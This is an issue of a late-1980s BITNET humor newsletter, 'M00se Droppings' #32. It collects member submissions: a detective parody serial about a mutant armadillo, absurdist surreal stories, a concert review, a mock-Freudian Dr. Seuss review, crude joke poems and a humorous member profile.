"So what," said Ed. "Let's get finished. I got a bowling match tonight."
"Okay," said Joe.
By mid-afternoon they were finished, and took the dumpster to a far away
dump. They quickly dumped their not-so-precious cargo off the side of a small
hill and drove off into the quickly setting sun, unaware that they had just
dumped nearly a ton of Detective Genre books, magazines, and videos on a
pool of toxic waste. [Origin of waste unknown -- for now.]
The next morning, a small, non-descript armadillo was meandering his way
through the dump looking for his breakfast. He came across the pile of toxic
magazines, books and videos, said "What the hell?" in armadillo language, and
began to dig in. It wasn't particularly good eating, but he didn't expect to
find much better in a dump where the likes of Joe and Ed dumped things. After
chowing down for 20 minutes [he was a hungry armadillo], he decided to burrow
into the pile and sleep for a while. [Now, you're all out there yelling "NO!
Don't do it!" and the like, but remember, this is an armadillo, not a B-movie
bimbo, so of course he isn't going to understand you.]
Several hours later he woke up, and immediately realized something was
different. He tunneled out of the pile and stood up in the cool evening air.
Off to the side a more-or-less intact mirror stoo}id against a pile of junk, and
the armadillo walked over to it. Looking in, the image he saw shocked him. He
was now humanoid, standing roughly 5 feet 6 inches. He was still clad in armor,
but was now wearing a tan trench coat and a tan, beaten fedora. In a shoulder
holster sat a .38 revolver, well oiled. Rummaging through his coat pockets, he
came across a box of ammo in one and a bottle of cheap bourbon in the other. He
uncapped the bourbon and took a swig. "Smoooooth," he said, then was shocked to
find that he was speaking Human English, with an accent that was a cross between
Chicago and Bronx. [Erie to consider, eh?]
He looked off in a Northwesterly direction, knowing where his destiny
lay......The Big Apple.
Several Years Later...
[Right now you are probably asking why this story is suddenly jumping
several years into the future. I can answer that question by giving you
a description of our hero, who hereing is known as The Armadillo [or
Dillo Man by his friends]. On that fateful day when he ate and nested in a
pile of toxic Detective Genre media stuff, The Armadillo gained humanoid form,
sentience, and a taste for cheap bourbon. Those aren't all of his powers,
though. His body is still made up of armadillo armor, so he can take most
blows and gunshots with surprisingly little damage. His trench coat never
takes damage, nomatter how many shots it takes, and his fedora never falls
from his head. He has gained the proportional strength of an armadillo [what
are you laughing at? do you know how strong one must be to ALWAYS carry a
suit of armor around? thought that would make you straighten up in your seat.]
and unfortunately, the proportional speed of an armadillo, which explains why
our story leaps ahead in years.]
So, as I was saying... Several Years later...
She walked down the hall, apprehensive as all hell, but knowing she
had to do what she was{_ about to do. The dimly lit corridor smelled like a
zoo, and the floor was littered with fast-food wrappers. As the echo of her
high heels resounded through the hall [how can noise resound through a trash
filled corridor, which should normally absorb the sound? Don't ask me..all
I know is that it makes for a neat hollow deserted effect.] she stopped in
front of a wooden door with a smoked plate glass window. On the window were
written the letters A D A, which she knew to stand for the Armadillo Detective
Agency. Wondering how she could decide to use an agency with such a name,
she knocked on the door.
A flat, oddly accented voice answered. "Come in."
She opened the door and gasped upon looking at the form behind the desk.
"My God," she said. "You really ARE an armadillo! I thought that was just a
gimmick."
For his part, The Armadillo was quite taken aback when he saw her. She was
a statuesque blond with a body that would make a rat start living a clean life.
Her hair flowed freely over her shoulders, accenting her rather large
##CENSORED##. And her legs weren't bad either. He had to exert massive control
to keep his tongue from rolling onto the floor. {After all,} he thought, {what
flatfoot worth the name would show emotion over a dame.}
"I know it's a gimmick," he replied in a voice which sounded like it came
from a person who was born and raised in the Bronx, but had been living on the
South Side of Chicago for the past five yeears. "But it ain't mine..it's the
author's. I don't have any control over him."
"I understand," the woman said. "Ya' gotta help me, Mr. um, ah..."
"They call me The Armadillo," he said.
"Okay, Mr. um, Armadillo.."
"No," he interupted. "Not Mr. um, Armadillo. Just call me Mr. Dillo."
"Yes Mr. Dillo. Anyway, I'm in a lot of trouble, and ya' gotta' help me."
He watched the way she breathed when she talked. And the way she breathed
when she moved. And the way she breathed when she didn't move. He even watched
her when she didn't breate. {And to think of all those years I fooled around
with armadillos, when I coulda' been playin' the bagpipes with this one here.}
"Why are ya' in trouble, shweetheart?"
Mere moments later, as she was about to explain what her problems were,
a terrible explosion went off, knocking in the windows and shattering everything
in the room, including [presumably] our hero and the dame.
WHAT WAS THAT EXPLOSION?
DID THE ARMADILLO AND THE DAME SURRVIVE?
DOES "SHE" HAVE A NAME?
WILL THE ARMADILLO GET TO PLAY THE BAGPIPES WITH HER?
THE ANSWERS TO THESE AND OTHER EXCITING QUESTIONS CAN BE FOUND IN A SMALL
WHITE ENEVELOPE HIDDEN IN THE PIANO AT 'RICK'S PLACE'!!!!!!! -OR-
TUNE IN NEXT TIME...SAME ARMADILLO TIME...SAME ARMADILLO CHANNEL!
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
From: V118PV6E@UBVMS - Crissm00se
Date: 30-OCT-1989 12:08:06
Description: well, if you ask me...
AA
AAAAAAAAAAAAAAAAA
AAAAAAAA AAAA AAAAAAAAA
AAAAAAAAAAA AAAAAA AAAAAAAAA
AAAAAAAAAAAA AAA AAA AAAAAAAAAA
AAAAAAAAAA AAA AAA AAAAAAAAAAA
AAAAAAAAAA AAAA AAAA AAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA AAAA AAAA AAAAAAAAAAAA
AAAAAAAAA AAA AAA AAAAAAAAAAAA
AAAAAAAA AAA AAA AAAAAAAAAA
AAAAAAAAA AAAAAAAAAAA
AAAAAA AAAAAAAA
AAAAAAA AAAAAAA
AAAAAAAAAAAA AAAAAAAAAAAAA
AA AAAAAAAAAAAAAAAAAAAAAA AA
A AAAAAAAAAAAAAA
Anarchy - the only way.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From: V123P62M@UBVMS
Date: 30-OCT-1989 14:28:34
Description: ...And so I was saying to Stella..."Stella," I said...
..."there's definitely something strange about the trunk
in the living room."
"Well, that's because it's a foot locker, you lasagna-head,"
Stella mumbled with a disgusted shake of her plum-colored locks.
"No, besides that," I protested. "I put a couple of blankets
in there last October when I cleaned the corner of the living room -
YOU know which corner I mean - and last Wednesday I checked to see if
Marty was in there, and the blankets were gone."
Stella yawned and rotated her new nose ring another half turn.
"Instead, there was a full eight course dinner for five in that
trunk. Steaming hot, and ready to serve. And there was a delecate rose'
wine...Chateau Babinski '98, I believe...."
"Have you ever considered the significance of the number of dead
flies found between the panes of your average kitchen window?" Stella
demanded, waving a chicken leg in my face. "It boggles the mind!"
I took the chicken leg and stuffed it up her nose. Up to my wrist.
Stella has a very large nose.
"And of course, when I tried to take the dinner OUT of the trunk,
the lid slammed on my earlobe and I had to use a cane for weeks. It always
happens."
Stella's eyes lit up like headlights and I knew she was going to
begin to prophesy. I hate when that happens.
"DER FROSTIGER MITBEWOHNER WIRD SAUERMILCH FUEGLICH STUETZEN. DIE
MORPHIUMSUECHTIGE NONNEN SIND LUESTLINGINNEN!"
Well...at least it had been in a tolerably harmless tongue.....
Last week she'd done it in Mongolian Sign Language, and decapitated three
Jehova's Witnesses.
By the time I put her clothes out and reset the smoke detector, she
was fairly lucid. "Tell your acting professor to fark off," she trilled.
"He's a pansy and a libertine. A pasty and a listerine." She suddenly
put on toe shoes and commenced to dance the Spanish Panic on the dining room
table. The chandelier would have suffered, but we'd already eaten it for
breakfast.
Just then the doorbell rang, and Marty stepped through the window,
carrying two blankets and a tire iron.
"You lose these?" He asked, tossing the blankets at me. They weren't
the ones from the trunk, but looked vaguely familiar. I mulled it over as
he clonked Stella on the head with the tire iron and mounted her over the
mantlepiece with an apple in each nostril. I told you she had a big nose.
After that, it was simplicity itself to knit the fish a sweater.
Obviously, he hadn't been in any kind of mood to sit through the measurement
session before Marty arrived, what with all the table-dancing and prophesy.
Oh, the blankets? Turns out my grandmother had burned them a few
years ago when Jorge came down with tuberculosis. Too bad he was in them at
the time.
-Lorelei
(Heeeeeeere little fishy, fishy, fish.....
Wherever did he go?)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From: V093P9AX@UBVMS (Who never gives a name on his posts.)
Date: 23-OCT-1989 23:10:46
Description: Things II
For all those who desire more things, I present
T H I N G S I I
CHapter one
Screaming
---------------------------
Okay, okay, so I didn't play parchesi like mother said. It only goes to
show that when you are down and out, fake the punt and go long. You can get
better yardage that way. If not, father no's best. Yearning for a lethal
injection of Venetian Pudding is a plot by the carpetbaggers, rugweavers and
surviving members of the Mills Brothers who want a fag-burning amendment to
disallow torching homosex- wh00ps! I mean FLAG_burning amendment. It leaves me
to bring up the only serious point that I'll probably ever make:
WHY DON'T THEY FIREPROOF THE FUCKING THING????
ChapTer Too
Gnnnnnnnannnnnnng!
--------------------------------
Of course you know, this means war. I have received juristiction from the
non-mangled people S.A. and the Ihavenohormones S.A. in order to strip the
country bear. And if you've ever seen a naked bear, that's more than you should
bear. Bear with me. Barely.
ChaPTRe 3
Ong.
------------------------------------
Don't fall into the trap set by those who say the Wright Bros. dis- covered
Kaluha. Dr. Benson ONg did, and no one cxould tell Wright from Ong anyway.
Listen, oh grape of the forbidden pig! Yoou pretend to have all of the
answers but slavism is not red!!! I know where you store the daffodills!!
Upon leaving this level of conscious- ness, prepare to watch ERASERHEAD:
THE MUSICAL. Of course, remember, bananas aren't shaped that way on purpose.
***TO BE CONTINUED***
From: V093P9AX
Date: 25-OCT-1989 19:43:08
Description: Things II: The Conclusion
THE END.
when in doubt, shoubt BL0000p.
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******************************* MEET THE M00SES ********************************
--------------------------------------------------------------------------------
Still nothing new on this front.
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*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
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Still waiting for the update. (C'mon, Darkling M00se! :-) )
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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #32| Disclaimer: The Editors will place almost anything in |Nov.10 , 1989
---------- this newsletter out of a frantic desire to fill the --------------
issue, so don't blame them for the quality or content of the submissions. Except
-ing those they may have written themselves, the enclosed items do not in any
way represent the Editors' fnord opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
--------------------------------------------------------------------------------
************************************* STAFF ************************************
--------------------------------------------------------------------------------
Editor - Patrick Salsbury <V291NHTP@UBVMS.BITNET>
Submissions to: DangerM00se <V291NHTP@UBVMS.BITNET>
Back issue requests: WarM00se <V291NHTP@UBVMS.BITNET>
M00se List updates and changes: Darkling M00se <V123NKUX@UBVMS.BITNET>
(This space to let): Contact <V291NHTP@UBVMS.BITNET>
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Woof Woof Woof! Hello! My name is Raggs! (If you don't understand that, see
"Sleeper", by Woody Allen (c) 1972 or -3)
Yes, it's another one of those damned...uh...I mean...WUNNERFUL issues
of M00se Droppings come to clutter up your mailboxes and directories!
As to the "Pointyness" of this issue...I was just browsing through issue
23 of M.D. this morning, and I stumbled across the Steve Martin poem, "The
Pointy Birds."
The Pointy Birds are pointy, pointy.
They annoint my head, annointy, 'nointy.
I thought this was AMAZINGLY funny, and thought I should re-share it
with all of you.
-Pat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(Submitted by BrandyM00se)
A SMILE costs nothing, but gives much. It enriches those who receive,
without making poorer those who give. it takes but a moment, but the
memory of it sometimes lasts forever. None is so rich or mighty that
he can get along without it, and none is so poor but that he can be made
rich by it. A smile creates happiness in the home, fosters good will
in business, and is the countersign of friendship. It brings rest to the
weary, cheer to the discouraged, sunshine to the sad, and it is nature's
best antidote for trouble. Yet it cannot be bought, begged, borrowed, or
stolen, for it is something that is of no value to anyone until it is given
away. Some people are too tired to give you a smile. Give them one of
yours, as none needs a smile so much as he who has no more to give.
- author unknown to me.
0 0
>
\_/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Imagine you are a poor seafaring lobster who can't quite afford to
book passage aboard the Queen Mary (is that still running???). So, quite
naturally (literally quite naturally), you begin to swim from point a to
point b, both point a and point b being basically water somewhere, which
looks like water everywhere, except for water at toxic waste sites, or
somesuch. Anyhow, as you relax, working out, doing the backstroke, you
realize that there is a vast net around you. Suddenly you are pulled into
a boat very unlike the Queen Mary, and soon find yourself on ice. In
handcuffs. Upon waking up, you learn that you are either still in handcuffs,
or else you are suddenly performing Houdini's last trick.
Where to from there????? At last we find out. Some 200+ lb. woman who
speaks no decipherable language(at least not decipherable to lobsters)decides
you'd look better in her home than in a store. She neglects to mention that
the invitation to dinner involves you as the main course. you realize that
when she holds you over her cauldron of boiling water and threatens to
make you into a chameleon: you will turn a very unnatural shade of red.
Well, now is the time to stop this torture of poor harmless sea
creatures! join the Lobster Liberation League (LLL)! Now! That's right!
what could be a more joyful sight than 30 lobsters trotting happily out
the automatic doors of your local supermarket? Hobbling out the doors of
your local fish markets(is that the right word???), claw in claw,
crying "free at last!", or at least its nearest lobsterian equivalent.
The time for action is NOW!!!!
brought to you by the LLL
goodbye and hello as always,
valerie (aka vam00se)
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
Bill Dickson and I were discussing having a Mega-Thr0ng-A-Thon sometime soon.
I've found a particularly good place for it. (You're not going to beleive this!)
BIG M00SE, NY!!!!!!!!!
(And better yet!) Population: ***6***
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Hey, Bill! What's the news on those M.I. T-shirts? Send me some info, and I'll
post it.....
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[I believe this is from Bill Dickson, but I'm not sure.....-Pat]
Hi there! It's the Pompous Critic once again, telling you who and what to like
if you want to be a hip art snob. Remember, if I don't say it's good, it's
not, no matter how much you like it!
Today I'm going to review the David Byrne concert that took place at the Palace
Theatre in New Haven, CT on November 4. Byrne, as those of you with brains
instead of squid in your heads will know, is the singer and songwriter for
Talking Heads. He has a new solo album out, with a latin feel to it --
inspired by the song "Mr. Jones," which was on the last Heads album, _Naked_.
Byrne isn't alone on this tour. Your Pompous Critic counted fourteen people on
the stage at one time, including seven men playing brass instruments of one
kind or another, four percussionists, a keyboardist, a female backup singer
(who sang a couple of songs herself as well), and Byrne. The guys on the horns
took turns playing a spare keyboard, playing some spare percussion, dancing,
and singing backup as well.
The concert basically consisted of the songs on Byrne's new album, _Rei_Momo_,
plus "Mr. Jones" and a song from the Jonathon Demme film, _Something_Wild_.
That song is one of the extra tracks on the Compact Disc version of the album.
In addition, for the second encore, Byrne played "Papa Legba" from his own
film, _True_Stories_.
The band looked great. They were all in solid white, they were all enjoying
themselves immensely, and they were all *moving*, whenever they didn't have to
stand still to play. The seven guys in back had choreographed little movements
to each song, and were obviously having a ball. Byrne, even though he looks
like Norman Bates and sweats like a pig, could get an award for the Person Who
Enjoys Himself The Most On Stage. He was constantly dancing around, by himself
or with his backup singer. He suggested we all dance as well, with the warning
that "state regulations require that the aisles be kept clear, but there's no
aisles in the middle." The energy they put out to the audience was wonderful.
So how was the music? Well, let me put it this way:
There were only two flaws with the entire concert. The first, more mild one
was when Byrne fumbled a drum he was picking up and had to chase it a bit,
causing him to get back to the microphone in the middle of a line he was
supposed to be singing. He was clearly disturbed by this, but the audience
forgave him instantly, and he relaxed again.
The second was that there *was* no room to dance. The music was so
entertaining, so successfully performed that it was impossible to sit still.
Even the older fogies I saw were moving around, and many of the Yalies were
doing their best to dance in the four inches they had between their own seats
and the seats in front of them. "Mr. Jones" in particular, good as it was,
would have been infinitely better in an outdoor theatre with a green for
everybody to dance on. It was a bit frustrating, getting all that energy from
Byrne and his band, and not having much outlet for it.
All in all, it was well worth the money. It was even worth the money that
Jethro Tull, four days before, wasn't worth; so I kind of felt as if New Haven
had made it up to me. Byrne was friendly, unpretentious, and entirely
entertaining. The Pompous Critic says "go see it or be hopelessly crass and
inadequately tasteful."
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
The Armadillo -- Chapter Two
by Lord Trelf
As you remember, the dame was just about to tell The Armadillo why she
needed help when an explosion ripped through the room. The concussive blast
came from the direction of the window behind The Armadillo, pushing him
forward and onto the dame, knocking her to the floor. The fact that he
landed on top of her [after all, what good flatfoot wouldn't be on top
of...oh never mind] and the sheer invulnerability of his Armadillo Armor
was what saved them both.
As the smoke cleared, The Armadillo picked himself up, brushed the loose
debris and dust from his trench coat, and helped the dame up to her feet.
"Well, that certainly was an adventure, now wasn't it?" he said.
The dame gave him a weird look.
And Hollywood sued the author for stealing lines from "The Princess Bride".
Or at least they would, but they won't ever read this, so screw 'em.
"What was that?" the dame breathed, frightened and shocked and confused.
"I don't know, but I'm gonna' find out, shweetheart," The Armadillo said.
Moving toward the window, he looked out to see a black sedan parked at
the curb, and a man in a three piece suit get in. The Armadillo pulled
out his revolver with surprising speed for an armadillo and took a few shots
at the sedan before it drove off. The car sped of down the street.
"Damn," The Armadillo said. "I'll get those sons-a-bitches."
"My God!" said the dame, who looked out the window just as the man
got into the car. "I know that person! Those are the guys trying to kill
me!"
The Armadillo turned to her. "Oh really? Who are they and why would the
be wanting to kill you?"
They were just a coupla' fellas workingfor the mafia until recently.
They want me 'cause I'm the only one who knows about their new boss."
"Who is this mysterious new boss that they wanna kill you 'cause you
know him?" The Armadillo asked.
"You wouldn't believe me if I told you," the dame said.
"Try me," The Armadillo said.
"The ressurrected Al Capone," the dame said.
"You're right," The Armadillo said, taking the bottle of bourbon out of his
pocket and taking a swig. "I don't believe you."
On the other side of the city, a figure in a black tuxedo sat behind
a very large and opulent desk. A knock sounded at the door.
"YWho is it?" asked a very gruff Italian voice that sounded as if it
was being spoken through a voice synthesizer.
"Duh, it's Lumpy, Boss."
"C'mon in Lumpy."
Lumpy walked in, stealing himself for the encounter. He looked at the
man behind the desk, who's right profile was in view to Lumpy. It was the
face of an average middle aged Italian-American, but slightly scared. However,
the scars were becoming to his features. Then he turned. Lumpy looked at the
other side of the man's face. It was a robotic face: steel skin, mechanical
eye, the works. The voice was filtered through a synthesizer in the man's
throat, giving it a metallic edge. This side of the man's face always gave
Lumpy the willies.
"Did you do as I instructed, Lumpy?" the man asked.
"Duh, we tried boss, but it didn't work. We blew up his office like you
told us we should, but he survived. So did the broad." Lumpy said in a
terrified voice.
"WHAT!?!??!?" roared the man.
"I'm sorry boss. It's dat damn armor of his. It fucked us up."
"DID I ASK YOU FOR EXCUSES?" roared the man. He raised his left hand,
which was also robotic, and shot a laser beam at Lumpy, disintegrating him
instantly. "Let that be a lesson to you," he said.
Just then the phone rang. "Hello," the man said. "Al Capone here."
IS THIS REALLY AL CAPONE RESSURRECTED?
WHO RESSURRECTED HIM?
CAN THE ARMADILLO SURVIVE THAT LASER BEAM?
DOES THAT DAME HAVE A NAME?
IS ANYBODY READING THIS?
For the answers to these and few other questions, check out that envelope
at "Rick's Place" like I told you last time, or....
Tune in next time...same Armadillo time....same Armadillo channel
A production of Superguy Ltd. ---- we're Beatrice
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Ode to Life
Oh life with your trembling tresses
Why do you put me in all of these messes?
There's love and there's hate
Isn't that great?
Then someone comes over and knees ya right in the groin.
Life can suck the chrome off a trailor hitch
Till then,
O.DM00se
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[From hugh@kink.UUCP (Hugh D. Gamble @ Phaedra V's Amiga 2500) - Someone write
to these people and send them the m00se.info file! We need to sign them up, and
I'm too busy laughing! ;^) -Pat]
Number one in the Kinky Cat Sex Series:
Kitten With A Whip
==================
Kitten with a whip,
tail, swish swish,
take what you will,
get what you wish.
Teddy bear in chains,
spread on a bed;
fantasy games,
deep in your head.
Puss in leather boots,
rising thigh high;
black rubber suits;
making him cry.
Squirm from the blows,
writhe from the pain;
but teddy bear knows,
that he wants it again.
Now pussy's all hot,
from the power trip;
ready or not,
next swing's from the hip.
Teddy bear sighs;
kitty's on top;
there's fire in her eyes,
and the cat won't stop.
The world explodes,
her claws dig in;
then kitty cat goes,
cause she's through with him.
Teddy's still tied;
lying all alone;
even if he tried,
he couldn't go home.
Kitten with a whip,
tail, swish swish,
take what you will,
get what you wish.
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
From V093P9AX (Who I still don't know the name of! :) )
Things III
A DEMONSTRATION TO THINGS POETRY
--------------------------------
Many Hugenots and other 17th century Reformers have asked me, Slapgruck,
you are such a great poet. Why don't you teach us the way? To this I say this:
"Gnnnnnnnnnnnannnnnnnnnng!!" (For no other reason except I like holding down
turtles until they scream for yogurt). I then say, I am neither Slapgruck nor
his evil Twin, Brucie, but I'll give you a primer.
All is based on the following:
Things are good.
Things are bad.
Things are great.
Aren't you glad?
Now, you try it. I knew you could.
DIALOUGE
---------------------------------
Okay. Here's the situation. My broccoli went away on a week's vacation.
That is the problem with being a Lenny Bruce fanatic, you get easily bowled
over.
WHALE GEOMETRY
----------------------------------
We can all benefit from the Society of Sophomores protecting Albatrosses
and Djibouti. SOSPAAD, created in 1986, had no real pur- pose when created, but
even less after it disbanded in early 1987.
After the fall of Southern Civilization (what am I referring to THIS time,
PAT 8) ), we lost all of our resourses of recourses. Of course, we can all find
the common cure to the common cold by isolating the common cause. I have never
screamed at a grapefruit, but it's safer than burning a flag. But, wait . . .
THE SCREAMING AT GRAPEFRUIT AMENDMENT
-------------------------------------
Yes, folks. Just when you though it was safe to take out your frustrations
every morning, we are faced with this. What are we, as omnipotent, impotent,
non-potent, impatient, malevolent and malodorous pseudo-Americans, supposed to
do???
Nothing, of course. That's what they want. Oh yes, I know their kind, the
non- grapefruit discriminants. Why, their common denominator can cause quite an
infraction.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
..."Gertie," he crooned...which is a strange thing to say to me, since
my name's not Gertie. "Gertie my love, my potato salad, come go with me."
Now, I'm not one to quibble over a silly little thing like a name,
Goddess knows....ask anyone who's called me Gertie. They'll tell you the same.
So I looked into his eyes, like limpid pools of burning petroleum, and hollered,
"Yes, Marty my life, my splatball. I'll follow you to the ends of the Earth, or
at least 'til next Tuesday."
And so we went. I'm not exactly sure *where* we went, but at least it
wasn't that dismal palace anymore. That place can get dreary after a while.
'Specially with Stella moaning about the apples in her nostrils. My, what a
wet blanket. Definitely depressing.
We hopped into Marty's helicopter, and drove off down the road. It
really is a nice 'copter - all shiny chrome and gleaming glass and naugahide
interior. Too bad for all those naugas, though. Poor things.
We bumped along, never a care in the world, until suddenly there was
this sickening thud. Marty pulled over and got out to look at what we'd hit.
It was a narwhal, the poor thing. Broke its horn clean off, and so it looked
just like a manatee. A mortally injured manatee, granted, but a manatee
nonetheless. We picked it up, beat it until it was totally and irretrievably
dead, and dumped it into the trunk.
("FOOT LOCKER!" Shut up, Stella. I'm telling this story.)
A little while later, after Marty strapped on a parachute and bailed
out, mumbling something about forgetting to turn off the iron that morning,
I took the 'copter down to ground level, and had a look around. Unfortunately,
I took it too far and ended up decapitating a whole schoolyard full of kids
with the 'copter blades. Hey, when I goof, at least it's productive.
I dragged myself out of the burning, twisted wreckage, only to find
that the trunk and a case of Chivas Regal had been thrown clear. Being unable
to carry either one of them for any distance, what with the narwhal carcass
in the trunk and everything, I decided to make the best of a bad job and have
a party. I opened the trunk, thinking to hack off a few narwhal steaks to
roast in the burning wreckage, only to find that the narwhal was gone and a
full array of Mary Kay cosmetics had appeared in its place. (Yes, it was the
trunk from the living room.)
Well. If I couldn't barbecue narwhal, I'd have to make do as best I
could. I searched around the carnage of the schoolyard for some tidbits, and
you know something? Children wings basted with cold cream really does hit the
spot. Especially when chased with a couple of bottles of Chivas. Aaaaaaaah!
Well, just about then, I heard the sound of windswept nylon, and Marty
landed square on my head. Little darling - he's such a kidder. He scrambled
off, hacking at the shroud lines with a bow saw, and screaming about spiders.
What a character. I tried to follow him, but ended up getting lost among all
the ambulances which suddenly appeared. All those pretty flashing lights.
Quite hypnotic. I guess that's what first attracted me to Marty. Ambulances
follow him, like sharks follow a whaling ship. He really does lead an exciting
life.
Just your daily dose of wierdness....
Lorelei
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[Submitted (Without even knowing it! ;^) ) by atw@mtunf.ATT.COM (Allen Ward)
ANOTHER not-m00se that should be! -Pat]
LITTLE RED RIDING HOOD
1989
Once upon a time the was a girl by the name of Little Red Riding Hood, who
was on her way to her Grandmother's house. As she passed a large rock a
large bear jumped out and said "Red Riding Hood, The Big bad wolf is waiting
for you at your grandmother's house. He said he's going to tie you down on
the bed, and screw your brains out!" "No he won't," said Little Red Riding
Hood. "I've got a gun, and if he tries that I'll blow him away!" So off
goes Little Red Riding Hood down the road to Grandmother's house when she
is approached by a rabbit. "Little Red Riding Hood, the Big bad wolf is
waiting for you at your Grandmother's house, He said he's going to tie you
down to the bed and screw your brains out!" "I'm not worried Mr. Rabbit,
I've got a gun, and if he tries something, he's going to be in big trouble."
So off goes Red down the road and finally arriving at Grandmother's house.
As she walks through the front door the Big bad wolf jumps out and says,"AH HA,
Now I've got you Little Red Riding Hood! I"m going to tie you to this bed and
screw your brains out!" Red Riding Hood quickly pulls her piece and says "OH
NO YOU'RE NOT GOING TO TIE ME TO THE BED AND SCREW MY BRAINS OUT, I HAVE A GUN
AND YOU'RE GOING TO EAT ME LIKE THE FAIRY TALE SAYS!!!!"
Fairy Tales have changed!
AL
{PROTECTOR OF THE PLEASURE PRINCIPLE}
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[Submitted by Yale-Martin <DEGSUSM@YALEVM.BITNET> -Pat]
-----------------------------------------------------------------
_The Cat in the Hat_
by Dr. Seuss, 61 pages. Beginner Books, $3.95
Reviewed by: Josh LeBeau
The Cat in the Hat is a hard-hitting novel of prose and poetry in
which the author re-examines [?] through the window of their
single-family dwelling. In the foreground, a large tree/phallic
symbol dances wildly in the wind, taunting the children and
encouraging them to succumb to the sexual yearnings they
undoubtedly feel for each other. Even to the most unlearned
reader, the blatant references to the incestuous relationship the
two share set the tone for Seuss' probing examination of the
satisfaction of primitive needs. The Cat proceeds to charm the
wary youths into engaging in what he so innocently refers to as
"tricks." At this point, the fish, an obvious Christ figure who
represents the prevailing Christian morality, attempts to warn
the children, and thus, in effect, warns all of humanity of the
dangers associated with the unleashing of the primal urges. In
response to this, the cat proceeds to balance the aquatic
naysayer on the end of his umbrella, essentially saying, "Down
with morality; down with God!"
After poohpoohing the righteous rantings of the waterlogged
Christ figure, the Cat begins to juggle several icons of Western
culture, most notably two books, representing the Old and New
Testaments, and a saucer of lactal fluid, an ironic reference to
maternal loss the two children experienced when their mother
abandoned them "for the afternoon." Our heroic Id adds to this
bold gesture a rake and a toy man, and thus completes the Oedipal
triangle.
Later in the novel, Seuss introduces the proverbial Pandora's
box, a large red crate out of which the Id releases Thing One, or
Freud's concept of Ego, the division of the psyche that serves as
the conscious mediator between the person and reality, and Thing
Two, the Superego which functions to reward and punish through a
system of moral attitudes, conscience, and guilt. Referring to
this box, the Cat says, "Now look at this trick. Take a look!"
In this, Dr. Seuss uses the children as a brilliant metaphor for
the reader, and asks the reader to re-examine his own inner self.
The children, unable to control the Id, Ego, and Superego allow
these creatures to run free and mess up the house, or more
symbolically, control their lives. This rampage continues until
the fish, or Christ symbol, warns that the mother is returning to
reinstate the Oedipal triangle that existed before her abandonment
of the children. At this point, Seuss introduces a many-armed
cleaning device which represents the psychoanalytic couch, which
proceeds to put the two youngsters' lives back in order.
With powerful simplicity, clarity, and drama, Seuss reduces
Freud's concepts on the dynamics of the human psyche to an easily
understood gesture. Mr. Seuss' poetry and choice of words is
equally impressive and serves as a splendid counterpart to his
bold symbolism. In all, his writing style is quick and fluid,
making _The Cat in the Hat_ impossible to put down. While this
novel is 61 pages in length, and one can read it in five minutes
or less, it is not until after multiple readings that the genius
of this modern day master becomes apparent.
-------------------------------------------------------------------------
Josh LeBeau writes for Koala, UCSD's humor newspaper, which has absolutely
no copyright notices anywhere.
-------------------------------------------------------------------------
--------------------------------------------------------------------------------
******************************* MEET THE M00SES ********************************
--------------------------------------------------------------------------------
NAME: Michael Oose
SCHOOL ADDRESS: Drew University
BC-COMPCEN
Madison, NJ 07940
PHONE NUMBER: Drew Ext. 8423
NODE NAME: DRUNIVAC
USERID: MOOSE
HOME ADDRESS: RD 1
Harappa, ON
SCHOOL: Drew University
CLASS: 1993
MAJOR: Computer Science
NICKNAMES: Mike (friends and family)
Mr. Oose (zoo keepers, animal trainers, publishers clearing
house)
Moose (close friends and mammals)
Animal (those who have seen me eat)
Communist Pig (those who don't like mooses)
Dinner (hunters)
BIRTHDATE: Sometime in the late 60's (what do you expect I was born in the
woods).
RELIGION: Mookerjian (I worship the confused moose god.)
POLITICS: Anarchist
PHYSICAL DESCRIPTION:
Big, heavy, furry, big nose, two big antlers, a stylist tail,
four long strong legs, two big brown eyes. I don't wear
glasses since they won't balance right on my nose, and besides
contacts are much better for those rare moments I am being
chased by hunters.
HOBBIES: I like to write trashy romance novels (I am still working on
the first one.) I love to play practical jokes, and leave my
friends weird mail. I am also member of a semi-secret
Illuminati orginization. I also like to sleep, and sometimes
chase rug rats. Oh, eating, how could I ever forget that. I
love to eat line printer paper. YUM! I watch soap operas too.
Playing dead at the side of a major highway is always fun.
READING: I read a lot of nature books. They remind me of home. I also
tend to spend a lot of time researching the great trash authors
of this decade. Romance novels are so educational.
MUSIC: I'm a wilderness moose. I love that hoof stomping country beat,
and their wonderfully traditional "my dog died" lyrics. They
make me feel at home. That doesn't make me stuff though. On
weekends I wear some fancy fur and slick back my antlers for
a night at the clubs. Such fun. I am the life of the party
there because I have more feet than anyone else there, and let
me tell you what an added advantage a tail is at those places!
